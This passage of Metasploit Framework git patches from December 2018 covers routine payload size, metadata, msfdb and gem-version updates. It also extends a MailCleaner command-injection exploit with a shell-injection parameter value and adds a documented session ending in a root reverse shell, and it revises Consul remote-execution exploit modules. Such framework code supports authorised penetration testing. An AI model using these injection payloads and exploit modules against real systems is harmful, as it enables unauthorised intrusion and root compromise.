Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 5cf8c8587002..0045302c444b 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71570 + CachedSize = 71918 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index dc7c50b7f7a1..38b4277c4bac 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71530 + CachedSize = 71882 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/windows/x64/messagebox.rb b/modules/payloads/singles/windows/x64/messagebox.rb index 03606841af17..b5172cc6211d 100644 --- a/modules/payloads/singles/windows/x64/messagebox.rb +++ b/modules/payloads/singles/windows/x64/messagebox.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 299 + CachedSize = 295 include Msf::Payload::Windows include Msf::Payload::Single From 6204d0595e5c632862cc0a6e1b0a05bc3ead81d9 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 19 Dec 2018 20:45:41 -0800 Subject: [PATCH 099/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index f805eb3253fa..23ebe526bfe3 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -147094,7 +147094,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 17:38:33 +0000", "path": "/modules/post/multi/escalate/cups_root_file_read.rb", "is_install_path": true, "ref_name": "multi/escalate/cups_root_file_read", From 9481ad04f26dc8954e232b7503cb30482e5454ee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Thu, 20 Dec 2018 12:12:01 +0300 Subject: [PATCH 100/220] Adding support for ARCH_CMD and updating docs --- .../exploit/linux/http/mailcleaner_exec.md | 37 +++++++++++++++++++ .../exploits/linux/http/mailcleaner_exec.rb | 36 +++++++++++++++--- 2 files changed, 68 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md index 78f27a96bfe9..e58450168d66 100644 --- a/documentation/modules/exploit/linux/http/mailcleaner_exec.md +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -2,6 +2,7 @@ This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. +### Installation You can download ISO file from following URL. [https://www.mailcleaner.org/latest-downloads/](https://www.mailcleaner.org/latest-downloads/) @@ -45,4 +46,40 @@ msf5 exploit(linux/http/mailcleaner_exec) > run [*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.100:44975) at 2018-12-19 17:24:45 +0300 meterpreter > +``` + +You can also use cmd payloads. + +``` +msf5 > use exploit/linux/http/mailcleaner_exec +msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 +RHOSTS => 12.0.0.100 +msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin +USERNAME => admin +msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD +msf5 exploit(linux/http/mailcleaner_exec) > set target 1 +msf5 exploit(linux/http/mailcleaner_exec) > set payload cmd/unix/reverse +payload => cmd/unix/reverse +msf5 exploit(linux/http/mailcleaner_exec) > run + +[*] Started reverse TCP double handler on 12.0.0.1:4444 +[*] Performing authentication... +[+] Awesome..! Authenticated with admin:MCPassw0rd +[*] Exploiting command injection flaw +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo P6zixt2asYXZ29NE; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "P6zixt2asYXZ29NE\r\n" +[*] Matching... +[*] A is input... +[*] Command shell session 2 opened (12.0.0.1:4444 -> 12.0.0.100:53996) at 2018-12-20 12:09:32 +0300 + +id +uid=0(root) gid=1003(mailcleaner) groups=1003(mailcleaner) ``` \ No newline at end of file diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb index 73aa92bf8e23..361cbeab8aa1 100644 --- a/modules/exploits/linux/http/mailcleaner_exec.rb +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -33,9 +33,29 @@ def initialize(info={}) 'WfsDelay' => 5, 'Payload' => 'python/meterpreter/reverse_tcp' }, - 'Platform' => ['python'], - 'Arch' => ARCH_PYTHON, - 'Targets' => [[ 'Automatic', { }]], + 'Platform' => ['unix'], + 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], + 'Targets' => + [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + } + ], + [ + 'Command payload', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'BadChars' => "\x26", + } + } + ] + ], 'Privileged' => false, 'DisclosureDate' => "Dec 19 2018", 'DefaultTarget' => 0 @@ -103,16 +123,22 @@ def exploit print_status('Exploiting command injection flaw') + if target['Arch'] == ARCH_PYTHON + cmd = "';$(python -c \"#{payload.encoded}\");#" + else + cmd = "';#{payload.encoded};#" + end + send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'), 'cookie' => cookie, 'vars_post' => { 'search' => rand_text_alpha(5), - 'domain' => "';$(python -c \"#{payload.encoded}\");#", + 'domain' => cmd, 'submit' => 1 } }) end -end \ No newline at end of file +end From 594103e7c365bed7d14e79481aa3637ea7756b0b Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 20 Dec 2018 13:51:34 +0100 Subject: [PATCH 101/220] Update documentation to set up testing environment with Docker. --- .../exploit/multi/misc/consul_rexec_exec.md | 35 +++++-------------- 1 file changed, 9 insertions(+), 26 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md index e28ded2ac531..214e48e6b612 100644 --- a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -23,22 +23,12 @@ The following bash script can be used to setup a testing environment with Docker #!/bin/sh echo "[+] Launching consul instances..." -docker run -d --name=consul_bootstrap_server consul agent -server -client=172.17.0.1 -bootstrap -data-dir /tmp/consul +BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:latest agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul` sleep 2 - -docker run -d --name=consul_server_1 consul agent -server -client=172.17.0.2 -data-dir /tmp/consul -sleep 2 -docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.2 - -docker run -d --name=consul_server_2 consul agent -server -client=172.17.0.3 -data-dir /tmp/consul -sleep 2 -docker exec -t consul_bootstrap_server consul join -http-addr="172.17.0.1:8500" 172.17.0.3 - -docker run -d -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "disable_remote_exec":false}' consul agent -ui -client=172.17.0.4 -retry-join=172.17.0.1 - -sleep 4 +BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID` +docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:latest agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP echo "[+] Checking members..." -docker exec -t consul_bootstrap_server consul members -http-addr="172.17.0.1:8500" +docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500" ``` You should observe something similar to the excerpt below when running the script: @@ -46,25 +36,18 @@ You should observe something similar to the excerpt below when running the scrip ``` sudo ./launch.sh [+] Launching consul instances... -23e8aa4687846382e601ec3c5a66d6db9448518647996f8fd8fdbcdde7f612cf -b28c7929c2a2141c162a35d635af48fdafd70f6c03bee61445e7e78f4e76af84 -Successfully joined cluster by contacting 1 nodes. -7c53a6f486426ad6ab4886f3f7b85481932333850d0046280ca082ff1bb79358 -Successfully joined cluster by contacting 1 nodes. -a58ec109f45029352a94721ee2e7c9c80a9c94178af8efd15279951da8ed0cab +d28e7cf476ff2f148cad81a0b1959a7c67591c2e348c6172b6f463af66d1eb9a [+] Checking members... Node Address Status Type Build Protocol DC Segment -23e8aa468784 172.17.0.1:8301 alive server 1.0.6 2 dc1 -7c53a6f48642 172.17.0.3:8301 alive server 1.0.6 2 dc1 -b28c7929c2a2 172.17.0.2:8301 alive server 1.0.6 2 dc1 -a58ec109f450 172.17.0.4:8301 alive client 1.0.6 2 dc1 +38a7c1d93e7f 172.17.0.1:8301 alive server 1.4.0 2 dc1 +d28e7cf476ff 172.17.0.2:8301 alive client 1.4.0 2 dc1 ``` The following bash script can be used to stop and destroy **all your running docker containers** (so be careful if you use docker containers for other things at the same time): ``` #!/bin/sh -for h in `sudo docker ps | grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done +for h in `sudo docker ps -a| grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done ``` ## Verification Steps @@ -74,7 +57,7 @@ You can verify the module against the vulnerable application with those steps: 1. Launch a Consul cluster with the provided bash script 2. Start msfconsole 3. Do: `use exploit/multi/misc/consul_rexec_exec` - 4. Do: `set RHOST 172.17.0.4` + 4. Do: `set RHOST ip_of_consul_container` 5. Do: `set RPORT 8500` 6. Do: `check`. The target should appear vulnerable. 7. Do: `set payload` with the payload of your choosing. From ba5c40db7725cdd80116b10080ed83c32a49fe38 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 20 Dec 2018 18:18:53 +0100 Subject: [PATCH 102/220] No need for CVE field. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 5658bdbad980..5318b1b52e4d 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -26,8 +26,7 @@ def initialize(info={}) [ [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], [ 'URL', 'https://www.consul.io/docs/commands/exec.html'], - [ 'URL', 'https://github.com/torque59/Garfield' ], - [ 'CVE', ''] + [ 'URL', 'https://github.com/torque59/Garfield' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], From d399562d7c9e628b847320cb432302f13b5f6897 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 20 Dec 2018 18:41:00 +0100 Subject: [PATCH 103/220] Implement execution checks with a timeout limit so we don't leave zombie checks running in background. --- .../exploits/multi/misc/consul_rexec_exec.rb | 37 ++++++++++--------- 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 5318b1b52e4d..e2ae2c59a196 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -39,6 +39,7 @@ def initialize(info={}) [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]), OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), Opt::RPORT(8500) ]) @@ -123,26 +124,26 @@ def execute_command(cmd, opts = {}) fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') end - found = false - while not found - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), - 'headers' => { - 'X-Consul-Token' => datastore['ACL_TOKEN'] - } - }) - begin - data = JSON.parse(res.body) - for path in data - if path.include? "out" - found = true - end + begin + Timeout.timeout(datastore['TIMEOUT']) do + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + begin + data = JSON.parse(res.body) + break if data.include? 'out' + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') end - rescue JSON::ParseError - fail_with(Failure::Unknown, 'Failed to parse JSON output.') + sleep 2 end - sleep 2 + rescue Timeout::Error + # we catch this error so cleanup still happen afterwards + print_status("Timeout hit, error with payload ?") end print_status("Cleaning up rexec session #{sess['ID']}") From 2919b970cda5f7784a73269840d17493089ff42e Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 20 Dec 2018 18:41:00 +0100 Subject: [PATCH 104/220] Implement execution checks with a timeout limit so we don't leave zombie checks running in background. --- .../exploits/multi/misc/consul_rexec_exec.rb | 37 ++++++++++--------- 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 5318b1b52e4d..e2ae2c59a196 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -39,6 +39,7 @@ def initialize(info={}) [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]), OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), Opt::RPORT(8500) ]) @@ -123,26 +124,26 @@ def execute_command(cmd, opts = {}) fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') end - found = false - while not found - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), - 'headers' => { - 'X-Consul-Token' => datastore['ACL_TOKEN'] - } - }) - begin - data = JSON.parse(res.body) - for path in data - if path.include? "out" - found = true - end + begin + Timeout.timeout(datastore['TIMEOUT']) do + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + begin + data = JSON.parse(res.body) + break if data.include? 'out' + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') end - rescue JSON::ParseError - fail_with(Failure::Unknown, 'Failed to parse JSON output.') + sleep 2 end - sleep 2 + rescue Timeout::Error + # we catch this error so cleanup still happen afterwards + print_status("Timeout hit, error with payload ?") end print_status("Cleaning up rexec session #{sess['ID']}") From bf2de4207778b3f23feb143991bf6be3e5f2bb44 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 20 Dec 2018 18:56:07 +0100 Subject: [PATCH 105/220] Now supports all version of Consul. --- modules/exploits/multi/misc/consul_service_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 107cd7e0ae8c..b5a75236545d 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -66,7 +66,7 @@ def check agent_info = JSON.parse(res.body) - if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true + if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true return CheckCode::Vulnerable end @@ -97,6 +97,7 @@ def execute_command(cmd, opts = {}) :Port => 80, :check => { :script => "#{cmd}", + :Args => ["sh", "-c", "#{cmd}"], :interval => "10s", :Timeout => "86400s" } From 30b914e4f065b621dbfcacb93cfff657e0ee07c0 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 20 Dec 2018 12:07:35 -0600 Subject: [PATCH 106/220] msfdb: Added verbosity to 'missing requirements' error --- msfdb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/msfdb b/msfdb index 9fe663cd8959..14bf3994c8e7 100755 --- a/msfdb +++ b/msfdb @@ -921,16 +921,17 @@ def has_requirements ret_val = true postgresql_cmds = %w(psql pg_ctl initdb createdb) other_cmds = %w(bundle thin) - missing_msg = 'Missing requirement: %s does not appear to be installed or is not in the environment path' + missing_msg = "Missing requirement: %s does not appear to be installed or '%s' is not in the environment path" - unless postgresql_cmds.all? { |cmd| !Msf::Util::Helper.which(cmd).nil? } - puts missing_msg % { name: 'PostgreSQL' } + postgresql_cmds.each do |cmd| + next if Msf::Util::Helper.which(cmd) + puts missing_msg % { name: 'PostgreSQL', prog: cmd } ret_val = false end other_cmds.each do |cmd| if Msf::Util::Helper.which(cmd).nil? - puts missing_msg % { name: "'#{cmd}'" } + puts missing_msg % { name: "'#{cmd}'", prog: cmd } ret_val = false end end From c2c8066f09c53e39539ee41666828687744f7921 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 20 Dec 2018 13:28:47 -0600 Subject: [PATCH 107/220] msfdb: Reverted back to unless and nil? --- msfdb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfdb b/msfdb index 14bf3994c8e7..4e5d48f5faed 100755 --- a/msfdb +++ b/msfdb @@ -924,7 +924,7 @@ def has_requirements missing_msg = "Missing requirement: %s does not appear to be installed or '%s' is not in the environment path" postgresql_cmds.each do |cmd| - next if Msf::Util::Helper.which(cmd) + next unless Msf::Util::Helper.which(cmd).nil? puts missing_msg % { name: 'PostgreSQL', prog: cmd } ret_val = false end From 1676f7306a5e3c8fdaade7a69062ca5e95fef133 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 20 Dec 2018 12:22:02 -0800 Subject: [PATCH 108/220] Weekly dependency update --- Gemfile.lock | 12 ++--- LICENSE_GEMS | 142 ++++++++++++++++++++++++++------------------------- 2 files changed, 78 insertions(+), 76 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 97102d1aa26c..155ba2899940 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -122,7 +122,7 @@ GEM concurrent-ruby (1.0.5) cookiejar (0.3.3) crass (1.0.4) - daemons (1.3.0) + daemons (1.3.1) diff-lcs (1.3) dnsruby (1.61.2) addressable (~> 2.5) @@ -191,7 +191,7 @@ GEM recog (~> 2.0) metasploit_payloads-mettle (0.5.0) method_source (0.9.2) - mini_portile2 (2.3.0) + mini_portile2 (2.4.0) minitest (5.11.3) mqtt (0.5.0) msgpack (1.2.4) @@ -200,8 +200,8 @@ GEM net-ssh (5.0.2) network_interface (0.0.2) nexpose (7.2.1) - nokogiri (1.8.5) - mini_portile2 (~> 2.3.0) + nokogiri (1.9.1) + mini_portile2 (~> 2.4.0) octokit (4.13.0) sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) @@ -210,7 +210,7 @@ GEM pcaprub patch_finder (1.0.2) pcaprub (0.13.0) - pdf-reader (2.1.0) + pdf-reader (2.2.0) Ascii85 (~> 1.0.0) afm (~> 0.2.1) hashery (~> 2.0) @@ -246,7 +246,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.3.2) rb-readline (0.5.5) - recog (2.1.36) + recog (2.1.37) nokogiri redcarpet (3.4.0) rex-arch (0.1.13) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 50234109b9b9..070671dd313e 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,135 +1,137 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh Ascii85, 1.0.3, MIT -actionpack, 4.2.10, MIT -actionview, 4.2.10, MIT -activemodel, 4.2.10, MIT -activerecord, 4.2.10, MIT -activesupport, 4.2.10, MIT +actionpack, 4.2.11, MIT +actionview, 4.2.11, MIT +activemodel, 4.2.11, MIT +activerecord, 4.2.11, MIT +activesupport, 4.2.11, MIT addressable, 2.5.2, "Apache 2.0" afm, 0.2.2, MIT arel, 6.0.4, MIT -arel-helpers, 2.6.1, MIT -backports, 3.11.1, MIT -bcrypt, 3.1.11, MIT +arel-helpers, 2.8.0, MIT +backports, 3.11.4, MIT +bcrypt, 3.1.12, MIT bcrypt_pbkdf, 1.0.0, MIT -bindata, 2.4.3, ruby +bindata, 2.4.4, ruby bit-struct, 0.16, ruby builder, 3.2.3, MIT -bundler, 1.16.1, MIT +bundler, 1.12.5, MIT coderay, 1.1.2, MIT concurrent-ruby, 1.0.5, MIT -crass, 1.0.3, MIT +cookiejar, 0.3.3, unknown +crass, 1.0.4, MIT +daemons, 1.3.1, MIT diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+" -dnsruby, 1.60.2, "Apache 2.0" -docile, 1.3.0, MIT +dnsruby, 1.61.2, "Apache 2.0" +docile, 1.3.1, MIT +ed25519, 1.2.4, MIT +em-http-request, 1.1.5, MIT +em-socksify, 0.3.2, MIT erubis, 2.7.0, MIT -factory_bot, 4.8.2, MIT -factory_bot_rails, 4.8.2, MIT -faker, 1.8.7, MIT -faraday, 0.14.0, MIT -filesize, 0.1.1, MIT -fivemat, 1.3.6, MIT -google-protobuf, 3.5.1, "New BSD" -googleapis-common-protos-types, 1.0.1, "Apache 2.0" -googleauth, 0.6.2, "Apache 2.0" -grpc, 1.8.3, "Apache 2.0" +eventmachine, 1.2.7, "ruby, GPL-2.0" +factory_bot, 4.11.1, MIT +factory_bot_rails, 4.11.1, MIT +faker, 1.9.1, MIT +faraday, 0.15.4, MIT +filesize, 0.2.0, MIT +fivemat, 1.3.7, MIT hashery, 2.1.2, "Simplified BSD" +http_parser.rb, 0.6.0, MIT i18n, 0.9.5, MIT jsobfu, 0.4.2, "New BSD" json, 2.1.0, ruby -jwt, 2.1.0, MIT -little-plugger, 1.1.4, MIT -logging, 2.2.2, MIT -loofah, 2.2.0, MIT -memoist, 0.16.0, MIT +loofah, 2.2.3, MIT metasm, 1.0.3, LGPL -metasploit-aggregator, 1.0.0, "New BSD" metasploit-concern, 2.0.5, "New BSD" -metasploit-credential, 2.0.13, "New BSD" +metasploit-credential, 3.0.2, "New BSD" metasploit-framework, 5.0.0, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD" -metasploit_data_models, 2.0.16, "New BSD" -metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD" -method_source, 0.9.0, MIT -mini_portile2, 2.3.0, MIT +metasploit-payloads, 1.3.56, "3-clause (or ""modified"") BSD" +metasploit_data_models, 3.0.2, "New BSD" +metasploit_payloads-mettle, 0.5.0, "3-clause (or ""modified"") BSD" +method_source, 0.9.2, MIT +mini_portile2, 2.4.0, MIT minitest, 5.11.3, MIT mqtt, 0.5.0, MIT msgpack, 1.2.4, "Apache 2.0" -multi_json, 1.13.1, MIT multipart-post, 2.0.0, MIT nessus_rest, 0.1.6, MIT -net-ssh, 4.2.0, MIT +net-ssh, 5.0.2, MIT network_interface, 0.0.2, MIT -nexpose, 7.2.0, BSD -nokogiri, 1.8.2, MIT -octokit, 4.8.0, MIT +nexpose, 7.2.1, "New BSD" +nokogiri, 1.9.1, MIT +octokit, 4.13.0, MIT openssl-ccm, 1.2.1, MIT openvas-omp, 0.0.4, MIT -os, 0.9.6, MIT packetfu, 1.1.13, BSD patch_finder, 1.0.2, "New BSD" -pcaprub, 0.12.4, LGPL-2.1 -pdf-reader, 2.1.0, MIT +pcaprub, 0.13.0, LGPL-2.1 +pdf-reader, 2.2.0, MIT pg, 0.20.0, "New BSD" pg_array_parser, 0.0.9, unknown -postgres_ext, 3.0.0, MIT -pry, 0.11.3, MIT -public_suffix, 3.0.2, MIT -rack, 1.6.9, MIT +postgres_ext, 3.0.1, MIT +pry, 0.12.2, MIT +public_suffix, 3.0.3, MIT +rack, 1.6.11, MIT +rack-protection, 1.5.5, MIT rack-test, 0.6.3, MIT rails-deprecated_sanitizer, 1.0.3, MIT rails-dom-testing, 1.0.9, MIT -rails-html-sanitizer, 1.0.3, MIT -railties, 4.2.10, MIT -rake, 12.3.0, MIT +rails-html-sanitizer, 1.0.4, MIT +railties, 4.2.11, MIT +rake, 12.3.2, MIT rb-readline, 0.5.5, BSD -recog, 2.1.18, unknown +recog, 2.1.37, unknown redcarpet, 3.4.0, MIT rex-arch, 0.1.13, "New BSD" -rex-bin_tools, 0.1.4, "New BSD" +rex-bin_tools, 0.1.6, "New BSD" rex-core, 0.1.13, "New BSD" rex-encoder, 0.1.4, "New BSD" -rex-exploitation, 0.1.17, "New BSD" +rex-exploitation, 0.1.19, "New BSD" rex-java, 0.1.5, "New BSD" rex-mime, 0.1.5, "New BSD" rex-nop, 0.1.1, "New BSD" rex-ole, 0.1.6, "New BSD" -rex-powershell, 0.1.77, "New BSD" +rex-powershell, 0.1.79, "New BSD" rex-random_identifier, 0.1.4, "New BSD" rex-registry, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD" -rex-socket, 0.1.10, "New BSD" +rex-socket, 0.1.15, "New BSD" rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" -rex-text, 0.2.17, "New BSD" +rex-text, 0.2.21, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT -rspec, 3.7.0, MIT -rspec-core, 3.7.1, MIT -rspec-expectations, 3.7.0, MIT -rspec-mocks, 3.7.0, MIT -rspec-rails, 3.7.2, MIT +rspec, 3.8.0, MIT +rspec-core, 3.8.0, MIT +rspec-expectations, 3.8.2, MIT +rspec-mocks, 3.8.0, MIT +rspec-rails, 3.8.1, MIT rspec-rerun, 1.1.0, MIT -rspec-support, 3.7.1, MIT -ruby-macho, 1.1.0, MIT +rspec-support, 3.8.0, MIT +ruby-macho, 2.1.0, MIT ruby-rc4, 0.1.5, MIT -ruby_smb, 0.0.23, "New BSD" +ruby_smb, 1.0.5, "New BSD" rubyntlm, 0.6.2, MIT -rubyzip, 1.2.1, "Simplified BSD" +rubyzip, 1.2.2, "Simplified BSD" sawyer, 0.8.1, MIT -signet, 0.8.1, "Apache 2.0" -simplecov, 0.16.0, MIT +simplecov, 0.16.1, MIT simplecov-html, 0.10.2, MIT +sinatra, 1.4.8, MIT sqlite3, 1.3.13, "New BSD" sshkey, 1.9.0, MIT -thor, 0.20.0, MIT +swagger-blocks, 2.0.2, MIT +sysrandom, 1.0.5, ISC +thin, 1.7.2, "GPLv2+, Ruby 1.8" +thor, 0.20.3, MIT thread_safe, 0.3.6, "Apache 2.0" +tilt, 2.0.9, MIT timecop, 0.9.1, MIT ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" tzinfo, 1.2.5, MIT -tzinfo-data, 1.2018.3, MIT +tzinfo-data, 1.2018.7, MIT +warden, 1.2.7, MIT windows_error, 0.1.2, BSD xdr, 2.0.0, "Apache 2.0" xmlrpc, 0.3.0, ruby -yard, 0.9.12, MIT +yard, 0.9.16, MIT From 0471d69c16cc0a2b8a441522c6671ae09fd28ef0 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 20 Dec 2018 15:39:02 -0800 Subject: [PATCH 109/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 23ebe526bfe3..04e11e2f39a5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -137176,7 +137176,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "python/meterpreter_bind_tcp", @@ -137207,7 +137207,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_http", @@ -137238,7 +137238,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_https", @@ -137269,7 +137269,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_tcp", @@ -143968,7 +143968,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-11-02 11:27:53 +0000", + "mod_time": 